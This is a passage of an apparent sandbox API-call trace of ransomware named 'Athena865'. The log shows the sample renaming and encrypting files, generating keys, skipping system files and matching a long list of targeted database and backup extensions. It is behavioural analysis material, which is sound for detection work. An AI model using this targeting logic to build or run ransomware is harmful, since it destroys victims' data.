lstrlenW (lpString="xmlff") returned 5 [0109.852] lstrcmpiW (lpString1="n.exe", lpString2="xmlff") returned -1 [0109.852] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe.Athena865") returned 74 [0109.852] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe.athena865"), dwFlags=0x1) returned 1 [0109.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0109.865] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=397312) returned 1 [0109.865] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0109.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0109.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0109.866] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0109.867] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0109.867] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0109.867] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x61300, lpName=0x0) returned 0x17c [0109.869] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x61300) returned 0x2d50000 [0109.895] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0109.895] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0109.895] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0109.896] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0109.896] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0109.896] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0109.896] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0109.896] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0109.896] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0109.896] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0109.896] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0109.896] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0109.896] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0109.896] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0109.900] CloseHandle (hObject=0x17c) returned 1 [0109.900] CloseHandle (hObject=0x154) returned 1 [0109.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0109.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0109.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0109.902] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0109.902] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0109.902] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0109.902] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2=".") returned 1 [0109.902] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="..") returned 1 [0109.902] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="windows") returned -1 [0109.902] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="bootmgr") returned 1 [0109.902] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="temp") returned -1 [0109.902] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="pagefile.sys") returned -1 [0109.902] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="boot") returned 1 [0109.902] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="ids.txt") returned 1 [0109.902] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="ntuser.dat") returned -1 [0109.902] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="perflogs") returned -1 [0109.902] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="MSBuild") returned -1 [0109.902] lstrlenW (lpString="InputPersonalization.exe") returned 24 [0109.902] lstrcpyW (in: lpString1=0x241e8ae, lpString2="InputPersonalization.exe" | out: lpString1="InputPersonalization.exe") returned="InputPersonalization.exe" [0109.902] lstrlenW (lpString="InputPersonalization.exe") returned 24 [0109.902] lstrlenW (lpString="Athena865") returned 9 [0109.902] lstrcmpiW (lpString1="ation.exe", lpString2="Athena865") returned 1 [0109.902] lstrlenW (lpString=".dll") returned 4 [0109.903] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2=".dll") returned 1 [0109.903] lstrlenW (lpString=".lnk") returned 4 [0109.903] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2=".lnk") returned 1 [0109.903] lstrlenW (lpString=".ini") returned 4 [0109.903] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2=".ini") returned 1 [0109.903] lstrlenW (lpString=".sys") returned 4 [0109.903] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2=".sys") returned 1 [0109.903] lstrlenW (lpString="InputPersonalization.exe") returned 24 [0109.903] lstrlenW (lpString="bak") returned 3 [0109.903] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0109.903] lstrlenW (lpString="ba_") returned 3 [0109.903] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0109.903] lstrlenW (lpString="dbb") returned 3 [0109.903] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0109.903] lstrlenW (lpString="vmdk") returned 4 [0109.903] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0109.903] lstrlenW (lpString="rar") returned 3 [0109.903] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0109.903] lstrlenW (lpString="zip") returned 3 [0109.903] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0109.903] lstrlenW (lpString="tgz") returned 3 [0109.903] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0109.903] lstrlenW (lpString="vbox") returned 4 [0109.903] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0109.903] lstrlenW (lpString="vdi") returned 3 [0109.903] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0109.903] lstrlenW (lpString="vhd") returned 3 [0109.903] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0109.904] lstrlenW (lpString="vhdx") returned 4 [0109.904] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0109.904] lstrlenW (lpString="avhd") returned 4 [0109.904] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0109.904] lstrlenW (lpString="db") returned 2 [0109.904] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0109.904] lstrlenW (lpString="db2") returned 3 [0109.904] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0109.904] lstrlenW (lpString="db3") returned 3 [0109.904] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0109.904] lstrlenW (lpString="dbf") returned 3 [0109.904] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0109.904] lstrlenW (lpString="mdf") returned 3 [0109.904] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0109.904] lstrlenW (lpString="mdb") returned 3 [0109.904] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0109.904] lstrlenW (lpString="sql") returned 3 [0109.904] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0109.904] lstrlenW (lpString="sqlite") returned 6 [0109.904] lstrcmpiW (lpString1="on.exe", lpString2="sqlite") returned -1 [0109.904] lstrlenW (lpString="sqlite3") returned 7 [0109.904] lstrcmpiW (lpString1="ion.exe", lpString2="sqlite3") returned -1 [0109.904] lstrlenW (lpString="sqlitedb") returned 8 [0109.904] lstrcmpiW (lpString1="tion.exe", lpString2="sqlitedb") returned 1 [0109.904] lstrlenW (lpString="xml") returned 3 [0109.904] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0109.904] lstrlenW (lpString="$er") returned 3 [0109.905] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0109.905] lstrlenW (lpString="4dd") returned 3 [0109.905] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0109.905] lstrlenW (lpString="4dl") returned 3 [0109.905] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0109.905] lstrlenW (lpString="^^^") returned 3 [0109.905] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0109.905] lstrlenW (lpString="abs") returned 3 [0109.905] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0109.905] lstrlenW (lpString="abx") returned 3 [0109.905] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0109.905] lstrlenW (lpString="accdb") returned 5 [0109.905] lstrcmpiW (lpString1="n.exe", lpString2="accdb") returned 1 [0109.905] lstrlenW (lpString="accdc") returned 5 [0109.905] lstrcmpiW (lpString1="n.exe", lpString2="accdc") returned 1 [0109.905] lstrlenW (lpString="accde") returned 5 [0109.905] lstrcmpiW (lpString1="n.exe", lpString2="accde") returned 1 [0109.905] lstrlenW (lpString="accdr") returned 5 [0109.905] lstrcmpiW (lpString1="n.exe", lpString2="accdr") returned 1 [0109.905] lstrlenW (lpString="accdt") returned 5 [0109.905] lstrcmpiW (lpString1="n.exe", lpString2="accdt") returned 1 [0109.905] lstrlenW (lpString="accdw") returned 5 [0109.905] lstrcmpiW (lpString1="n.exe", lpString2="accdw") returned 1 [0109.905] lstrlenW (lpString="accft") returned 5 [0109.905] lstrcmpiW (lpString1="n.exe", lpString2="accft") returned 1 [0109.905] lstrlenW (lpString="adb") returned 3 [0109.905] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0109.905] lstrlenW (lpString="adb") returned 3 [0109.906] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0109.906] lstrlenW (lpString="ade") returned 3 [0109.906] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0109.906] lstrlenW (lpString="adf") returned 3 [0109.906] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0109.906] lstrlenW (lpString="adn") returned 3 [0109.906] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0109.906] lstrlenW (lpString="adp") returned 3 [0109.906] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0109.906] lstrlenW (lpString="alf") returned 3 [0109.906] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0109.906] lstrlenW (lpString="ask") returned 3 [0109.906] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0109.906] lstrlenW (lpString="btr") returned 3 [0109.906] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0109.906] lstrlenW (lpString="cat") returned 3 [0109.906] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0109.906] lstrlenW (lpString="cdb") returned 3 [0109.906] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0109.906] lstrlenW (lpString="ckp") returned 3 [0109.906] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0109.906] lstrlenW (lpString="cma") returned 3 [0109.906] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0109.906] lstrlenW (lpString="cpd") returned 3 [0109.906] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0109.906] lstrlenW (lpString="dacpac") returned 6 [0109.906] lstrcmpiW (lpString1="on.exe", lpString2="dacpac") returned 1 [0109.906] lstrlenW (lpString="dad") returned 3 [0109.907] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0109.907] lstrlenW (lpString="dadiagrams") returned 10 [0109.907] lstrcmpiW (lpString1="zation.exe", lpString2="dadiagrams") returned 1 [0109.907] lstrlenW (lpString="daschema") returned 8 [0109.907] lstrcmpiW (lpString1="tion.exe", lpString2="daschema") returned 1 [0109.907] lstrlenW (lpString="db-journal") returned 10 [0109.907] lstrcmpiW (lpString1="zation.exe", lpString2="db-journal") returned 1 [0109.907] lstrlenW (lpString="db-shm") returned 6 [0109.907] lstrcmpiW (lpString1="on.exe", lpString2="db-shm") returned 1 [0109.907] lstrlenW (lpString="db-wal") returned 6 [0109.907] lstrcmpiW (lpString1="on.exe", lpString2="db-wal") returned 1 [0109.907] lstrlenW (lpString="dbc") returned 3 [0109.907] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0109.907] lstrlenW (lpString="dbs") returned 3 [0109.907] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0109.907] lstrlenW (lpString="dbt") returned 3 [0109.907] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0109.907] lstrlenW (lpString="dbv") returned 3 [0109.907] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0109.907] lstrlenW (lpString="dbx") returned 3 [0109.907] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0109.907] lstrlenW (lpString="dcb") returned 3 [0109.907] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0109.907] lstrlenW (lpString="dct") returned 3 [0109.907] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0109.907] lstrlenW (lpString="dcx") returned 3 [0109.907] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0109.907] lstrlenW (lpString="ddl") returned 3 [0109.908] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0109.908] lstrlenW (lpString="dlis") returned 4 [0109.908] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0109.908] lstrlenW (lpString="dp1") returned 3 [0109.908] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0109.908] lstrlenW (lpString="dqy") returned 3 [0109.908] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0109.908] lstrlenW (lpString="dsk") returned 3 [0109.908] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0109.908] lstrlenW (lpString="dsn") returned 3 [0109.908] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0109.908] lstrlenW (lpString="dtsx") returned 4 [0109.908] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0109.908] lstrlenW (lpString="dxl") returned 3 [0109.908] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0109.908] lstrlenW (lpString="eco") returned 3 [0109.908] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0109.908] lstrlenW (lpString="ecx") returned 3 [0109.908] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0109.908] lstrlenW (lpString="edb") returned 3 [0109.908] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0109.908] lstrlenW (lpString="epim") returned 4 [0109.908] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0109.908] lstrlenW (lpString="fcd") returned 3 [0109.908] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0109.908] lstrlenW (lpString="fdb") returned 3 [0109.908] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0109.908] lstrlenW (lpString="fic") returned 3 [0109.908] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0109.909] lstrlenW (lpString="flexolibrary") returned 12 [0109.909] lstrcmpiW (lpString1="lization.exe", lpString2="flexolibrary") returned 1 [0109.909] lstrlenW (lpString="fm5") returned 3 [0109.909] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0109.909] lstrlenW (lpString="fmp") returned 3 [0109.909] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0109.909] lstrlenW (lpString="fmp12") returned 5 [0109.909] lstrcmpiW (lpString1="n.exe", lpString2="fmp12") returned 1 [0109.909] lstrlenW (lpString="fmpsl") returned 5 [0109.909] lstrcmpiW (lpString1="n.exe", lpString2="fmpsl") returned 1 [0109.909] lstrlenW (lpString="fol") returned 3 [0109.909] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0109.909] lstrlenW (lpString="fp3") returned 3 [0109.909] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0109.909] lstrlenW (lpString="fp4") returned 3 [0109.909] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0109.909] lstrlenW (lpString="fp5") returned 3 [0109.909] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0109.909] lstrlenW (lpString="fp7") returned 3 [0109.909] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0109.909] lstrlenW (lpString="fpt") returned 3 [0109.909] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0109.909] lstrlenW (lpString="frm") returned 3 [0109.909] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0109.909] lstrlenW (lpString="gdb") returned 3 [0109.909] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0109.909] lstrlenW (lpString="gdb") returned 3 [0109.909] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0109.909] lstrlenW (lpString="grdb") returned 4 [0109.910] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0109.910] lstrlenW (lpString="gwi") returned 3 [0109.910] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0109.910] lstrlenW (lpString="hdb") returned 3 [0109.910] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0109.910] lstrlenW (lpString="his") returned 3 [0109.910] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0109.910] lstrlenW (lpString="ib") returned 2 [0109.910] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0109.910] lstrlenW (lpString="idb") returned 3 [0109.910] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0109.910] lstrlenW (lpString="ihx") returned 3 [0109.910] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0109.910] lstrlenW (lpString="itdb") returned 4 [0109.910] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0109.910] lstrlenW (lpString="itw") returned 3 [0109.910] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0109.910] lstrlenW (lpString="jet") returned 3 [0109.910] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0109.910] lstrlenW (lpString="jtx") returned 3 [0109.910] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0109.910] lstrlenW (lpString="kdb") returned 3 [0109.910] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0109.910] lstrlenW (lpString="kexi") returned 4 [0109.910] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0109.910] lstrlenW (lpString="kexic") returned 5 [0109.910] lstrcmpiW (lpString1="n.exe", lpString2="kexic") returned 1 [0109.910] lstrlenW (lpString="kexis") returned 5 [0109.911] lstrcmpiW (lpString1="n.exe", lpString2="kexis") returned 1 [0109.911] lstrlenW (lpString="lgc") returned 3 [0109.911] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0109.911] lstrlenW (lpString="lwx") returned 3 [0109.911] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0109.911] lstrlenW (lpString="maf") returned 3 [0109.911] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0109.911] lstrlenW (lpString="maq") returned 3 [0109.911] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0109.911] lstrlenW (lpString="mar") returned 3 [0109.911] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0109.911] lstrlenW (lpString="marshal") returned 7 [0109.911] lstrcmpiW (lpString1="ion.exe", lpString2="marshal") returned -1 [0109.911] lstrlenW (lpString="mas") returned 3 [0109.911] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0109.911] lstrlenW (lpString="mav") returned 3 [0109.911] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0109.911] lstrlenW (lpString="maw") returned 3 [0109.911] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0109.911] lstrlenW (lpString="mdbhtml") returned 7 [0109.911] lstrcmpiW (lpString1="ion.exe", lpString2="mdbhtml") returned -1 [0109.911] lstrlenW (lpString="mdn") returned 3 [0109.911] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0109.911] lstrlenW (lpString="mdt") returned 3 [0109.911] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0109.911] lstrlenW (lpString="mfd") returned 3 [0109.911] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0109.911] lstrlenW (lpString="mpd") returned 3 [0109.911] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0109.912] lstrlenW (lpString="mrg") returned 3 [0109.912] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0109.912] lstrlenW (lpString="mud") returned 3 [0109.912] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0109.912] lstrlenW (lpString="mwb") returned 3 [0109.912] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0109.912] lstrlenW (lpString="myd") returned 3 [0109.912] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0109.912] lstrlenW (lpString="ndf") returned 3 [0109.912] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0109.912] lstrlenW (lpString="nnt") returned 3 [0109.912] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0109.912] lstrlenW (lpString="nrmlib") returned 6 [0109.912] lstrcmpiW (lpString1="on.exe", lpString2="nrmlib") returned 1 [0109.912] lstrlenW (lpString="ns2") returned 3 [0109.912] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0109.912] lstrlenW (lpString="ns3") returned 3 [0109.912] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0109.912] lstrlenW (lpString="ns4") returned 3 [0109.912] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0109.912] lstrlenW (lpString="nsf") returned 3 [0109.912] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0109.912] lstrlenW (lpString="nv") returned 2 [0109.912] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0109.912] lstrlenW (lpString="nv2") returned 3 [0109.912] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0109.912] lstrlenW (lpString="nwdb") returned 4 [0109.912] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0109.912] lstrlenW (lpString="nyf") returned 3 [0109.913] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0109.913] lstrlenW (lpString="odb") returned 3 [0109.913] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0109.913] lstrlenW (lpString="odb") returned 3 [0109.913] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0109.913] lstrlenW (lpString="oqy") returned 3 [0109.913] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0109.913] lstrlenW (lpString="ora") returned 3 [0109.913] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0109.913] lstrlenW (lpString="orx") returned 3 [0109.913] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0109.913] lstrlenW (lpString="owc") returned 3 [0109.913] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0109.913] lstrlenW (lpString="p96") returned 3 [0109.913] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0109.913] lstrlenW (lpString="p97") returned 3 [0109.913] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0109.913] lstrlenW (lpString="pan") returned 3 [0109.913] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0109.913] lstrlenW (lpString="pdb") returned 3 [0109.913] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0109.913] lstrlenW (lpString="pdm") returned 3 [0109.913] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0109.913] lstrlenW (lpString="pnz") returned 3 [0109.913] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0109.913] lstrlenW (lpString="qry") returned 3 [0109.913] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0109.913] lstrlenW (lpString="qvd") returned 3 [0109.914] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0109.914] lstrlenW (lpString="rbf") returned 3 [0109.914] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0109.914] lstrlenW (lpString="rctd") returned 4 [0109.914] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0109.914] lstrlenW (lpString="rod") returned 3 [0109.914] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0109.914] lstrlenW (lpString="rodx") returned 4 [0109.914] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0109.914] lstrlenW (lpString="rpd") returned 3 [0109.914] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0109.914] lstrlenW (lpString="rsd") returned 3 [0109.914] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0109.914] lstrlenW (lpString="sas7bdat") returned 8 [0109.914] lstrcmpiW (lpString1="tion.exe", lpString2="sas7bdat") returned 1 [0109.914] lstrlenW (lpString="sbf") returned 3 [0109.914] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0109.914] lstrlenW (lpString="scx") returned 3 [0109.914] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0109.914] lstrlenW (lpString="sdb") returned 3 [0109.914] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0109.914] lstrlenW (lpString="sdc") returned 3 [0109.914] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0109.914] lstrlenW (lpString="sdf") returned 3 [0109.914] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0109.914] lstrlenW (lpString="sis") returned 3 [0109.914] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0109.914] lstrlenW (lpString="spq") returned 3 [0109.915] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0109.915] lstrlenW (lpString="te") returned 2 [0109.915] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0109.915] lstrlenW (lpString="teacher") returned 7 [0109.915] lstrcmpiW (lpString1="ion.exe", lpString2="teacher") returned -1 [0109.915] lstrlenW (lpString="tmd") returned 3 [0109.915] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0109.915] lstrlenW (lpString="tps") returned 3 [0109.915] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0109.915] lstrlenW (lpString="trc") returned 3 [0109.915] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0109.915] lstrlenW (lpString="trc") returned 3 [0109.915] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0109.915] lstrlenW (lpString="trm") returned 3 [0109.915] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0109.915] lstrlenW (lpString="udb") returned 3 [0109.915] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0109.915] lstrlenW (lpString="udl") returned 3 [0109.915] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0109.915] lstrlenW (lpString="usr") returned 3 [0109.915] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0109.915] lstrlenW (lpString="v12") returned 3 [0109.915] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0109.915] lstrlenW (lpString="vis") returned 3 [0109.915] lstrcmpiW 